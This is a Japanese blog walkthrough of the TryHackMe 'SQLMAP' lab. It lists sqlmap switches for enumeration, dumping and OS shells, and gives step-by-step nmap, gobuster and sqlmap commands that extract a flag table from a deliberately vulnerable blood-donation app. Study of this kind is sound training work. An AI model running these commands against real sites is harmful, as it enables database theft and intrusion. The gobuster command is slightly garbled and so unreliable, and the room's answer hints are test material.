TryHackMe(THM):SQLMAP

目次

この記事は、DeepL翻訳を利用して和訳しています。

www.deepl.com

このサイトに書かれている攻撃手法は「自分に権利のあるサイト」以外では使用しないでください

Task 1 Introduction

f:id:akebono-haze:20220306222538p:plain

この部屋では、sqlmapについて学び、SQL Injectionの脆弱性を突くためにどのように使用できるかを学びます。
    
sqlmapとは?
    
sqlmapは、Bernardo Damele Assumpcao GuimaraesとMiroslav Stamparによって開発されたオープンソースの侵入テストツールで、SQLインジェクションの欠陥を検出・悪用してデータベースサーバーを乗っ取る処理を自動化します。強力な検出エンジン、究極の侵入テスト者のための多くのニッチな機能、およびデータベースのフィンガープリント、データベースからのデータの取得、基盤となるファイルシステムへのアクセス、帯域外接続によるオペレーティングシステム上でのコマンドの実行に至るまで、幅広いスイッチを備えています。
    
Sqlmapのインストール
Kali Linuxを使用している場合、sqlmapはプリインストールされています。そうでなければ、ここからダウンロードできます。

Answer the questions below
Read the above and have sqlmap at the ready.

 

Task 2 Using Sqlmap

Sqlmap Commands
基本的なヘルプメニューを表示するには,ターミナルで

sqlmap -h

と入力するだけです
f:id:akebono-haze:20220306222557p:plain
基本コマンド:

Options Description
-u URL, --url=URL ターゲットの URL (e.g. "http://www.site.com/vuln.php?id=1")
--data=DATA POSTで送信するデータ文字列 (e.g. "id=1")
--random-agent ランダムに選択されたHTTP User-Agentヘッダーの値を使用する
-p TESTPARAMETER テスト可能なパラメータ(複数可)
--level=LEVEL 実施するテストのレベル(1~5、デフォルト1)
--risk=RISK 実施すべきテストのリスク(1~3、デフォルト1)

列挙コマンド:
これらのオプションは、バックエンドのデータベース管理システムの情報、構造、およびテーブルに含まれるデータを列挙するために使用することができます。

Options Description
-a, --all すべて取得する
-b, --banner DBMSバナーの取得
--current-user DBMSのカレントユーザーを取得する
--current-db DBMSの現在のデータベースを取得する
--passwords DBMS ユーザーのパスワードハッシュを列挙する
--dbs DBMSのデータベースを列挙する
--tables DBMSデータベースのテーブルを列挙する
--columns DBMSデータベーステーブルのカラムを列挙する 
--schema DBMSスキーマを列挙する
--dump DBMSデータベースのテーブルエントリをダンプする
--dump-all すべてのDBMSデータベースのテーブルエントリをダンプします
--is-dba DBMS の現在のユーザーが DBA であるかどうかを検出します
-D <DB NAME> DBMS データベースから列挙
-T <TABLE NAME> DBMSデータベースのテーブルを列挙する
-C COL 列挙するDBMSデータベーステーブルのカラム(複数可)

オペレーティングシステムアクセスコマンド:

これらのオプションは、ターゲットOS上のバックエンドデータベース管理システムにアクセスするために使用することができます。

Options Description
--os-shell 対話型オペレーティングシステムのシェルのプロンプトを表示
--os-pwn OOBシェル、Meterpreter、VNCのプロンプトが表示されます。
--os-cmd=OSCMD オペレーティングシステムのコマンドを実行する
--priv-esc データベースプロセスのユーザー権限昇格 
--os-smbrelay OOBシェル、Meterpreter、VNCのワンクリックでのプロンプト表示

上の表はsqlmapで使用できるすべてのスイッチではないことに注意してください。より広範なオプションのリストについては、

sqlmap -hh

を実行して詳細なヘルプメッセージを表示させてください。
さて、sqlmapで使用できるオプションのいくつかを見てきましたが、GETとPOSTメソッドベースのリクエストの両方を使った例に飛びつこうではありませんか。

 

シンプルなHTTP GETベースのテスト

sqlmap -u https://testsite.com/page.php?id=7 --dbs

ここでは、2つのフラグを使用しています。-uは脆弱なURLを示し、-dbsはデータベースを列挙しています。

 

シンプルなHTTP POSTベースのテスト

まず、脆弱性のあるPOSTリクエストを特定し、それを保存する必要があります。保存するには、リクエストを右クリックし、「Copy to file」を選択して、ディレクトリに保存してください。また、リクエスト全体をコピーして、テキストファイルに保存することもできます。

f:id:akebono-haze:20220306223108p:plain

上記のリクエストで、脆弱なパラメータである可能性のあるPOSTパラメータ「blood_group」があることにお気づきでしょう。

f:id:akebono-haze:20220306223153p:plain

潜在的に脆弱なパラメータを特定できたので、sqlmapに飛び込んで、以下のコマンドを使用してみましょう。

sqlmap -r req.txt -p blood_group --dbs

sqlmap -r <request_file> -p <vulnerable_parameter> --dbs

ここでは、2つのフラグを使用しています。-rはファイルの読み込み、-pは脆弱性パラメータを与える、そして-dbsはデータベースを列挙する。

f:id:akebono-haze:20220306223516p:plain

データベースができたので、データベースの血液からテーブルを抽出してみましょう。
GETベースの方式を使用

sqlmap -u https://testsite.com/page.php?id=7 -D blood --tables

sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> --tables

POSTベースの方式を使用

sqlmap -r req.txt -p blood_group -D blood --tables

sqlmap -r req.txt -p <vulnerable_parameter> -D <database_name> --tables

これらのコマンドを実行すると、テーブルが表示されるはずです。

f:id:akebono-haze:20220306223932p:plain


利用可能なテーブルができたら、今度はblood_dbテーブルからカラムを集めてみましょう。

GETベースの方式を使用

sqlmap -u https://testsite.com/page.php?id=7 -D blood -T blood_db --columns

sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> -T <table_name> --columns

POSTベースの方式を使用

sqlmap -r req.txt -D blood -T blood_db --columns

sqlmap -r req.txt -D <database_name> -T <table_name> --columns

f:id:akebono-haze:20220308215311p:plain

あるいは、以下のコマンドを使用して、利用可能なすべてのデータベースとテーブルを単純にダンプすることもできます。

GETベースの方式を使用

sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> --dump-all

sqlmap -u https://testsite.com/page.php?id=7 -D blood --dump-all

POSTベースの方式を使用

sqlmap -r req.txt -D <database_name> --dump-all

sqlmap -r req.txt -p  -D <database_name> --dump-all

sqlmapの基本的な使い方と様々なコマンドを見て楽しんでいただけたと思います。では、次の課題からチャレンジしてみましょう!

 

Answer the questions below

Which flag or option will allow you to add a URL to the command?

基本コマンドにURLを追加できるフラグやオプションが書かれていますのでそれが答えです。

Which flag would you use to add data to a POST request?

POSTベース方式周辺で「data」を目grepしてオプションを探します。

There are two parameters: username and password. How would you tell sqlmap to use the username parameter for the attack?

基本的なコマンド内にあるテスト可能なパラメータを指定します。

Which flag would you use to show the advanced help menu?

より広範なオプションのリストを出力するフラグが答えです。

Which flag allows you to retrieve everything?

「すべて」をキーワードにしてオプションを指定します。

Which flag allows you to select the database name?

emulationコマンド一覧にあります。

Which flag would you use to retrieve database tables?

emulationコマンド一覧にあります。

Which flag allows you to retrieve a table’s columns?

emulationコマンド一覧にあります。

Which flag allows you to dump all the database table entries?

emulationコマンド一覧にあります。

Which flag will give you an interactive SQL Shell prompt?

「sqlmap -hh」を実行した結果から、「shell」という言葉を目grepします。(笑)

You know the current db type is 'MYSQL'. Which flag allows you to enumerate only MySQL databases?

データベースを指定するパラメータを使用します。

 

Task 3 SQLMap Challenge

このタスクに接続されているマシンをデプロイし、MACHINE_IPに移動します(このマシンは起動に3分ほどかかる場合があります)。

Task:

私たちは「献血」を集めるアプリケーションを導入しています。リクエストに脆弱性があるようです。

脆弱性のあるアプリケーションのSQL Injectionの脆弱性を利用して、フラグを検出します。

Answer the questions below

What is the name of the interesting directory ?

まずマシンに対してnmapを実行します。

# nmap -sV -sC -A <$IPアドレス>

80番ポートが解放されていることがわかります。
gobusterで隠れディレクトリを調査します。

#gouser dir u <$IPアドレス> -w /user/share/wordlists/dirbuster/directory-list-2.3-midium.txt

見つかったディレクトリが解答です。

ブラウザでアクセスしてみると、献血記録を記録するサイトのようです。

 

Who is the current db user?

カレントユーザを調査するためにsqlmapコマンドを実行します。
たしか、id=1がカレントユーザという記憶があったので変数に追加します。

$ sqlmap  -u http://<$IPアドレス>/blood/view.php?id=1 --current-user

出力結果から「current-user」行を探し、そこに表示されているユーザを解答します。

What is the final flag?

とりあえず右上にある「Regster」でユーザ登録します。

作成したユーザでログインします。
画面が遷移するので、左上にある人のアイコン(View)をクリックします。

ユーザ一覧が表示され、「nare」というユーザが登録されています。
その行の「Actions」の目のアイコンをクリックします。

ユーザ「nare」の登録データが表示されます。そのURLを使ってsqlmapコマンドを実行します。

$ sqlmap -u http://<$IPアドレス>/blood/view.php?id=1 --dbs

6つのデータベースが登録されていることがわかりました。
献血記録を登録するサイトなので「blood」データベースにどんなテーブルがあるか調査します。
 $ sqlmap -u http://<$IPアドレス>/blood/view.php?id=1 -D blood --tables

  3つのテーブルが登録されていることがわかりました。

「flag」というテーブルがあるので中身を確認します。 

# sqlmap -u http://<$IPアドレス>/blood/view.php?id=1 -D blood -T flag --dump

完了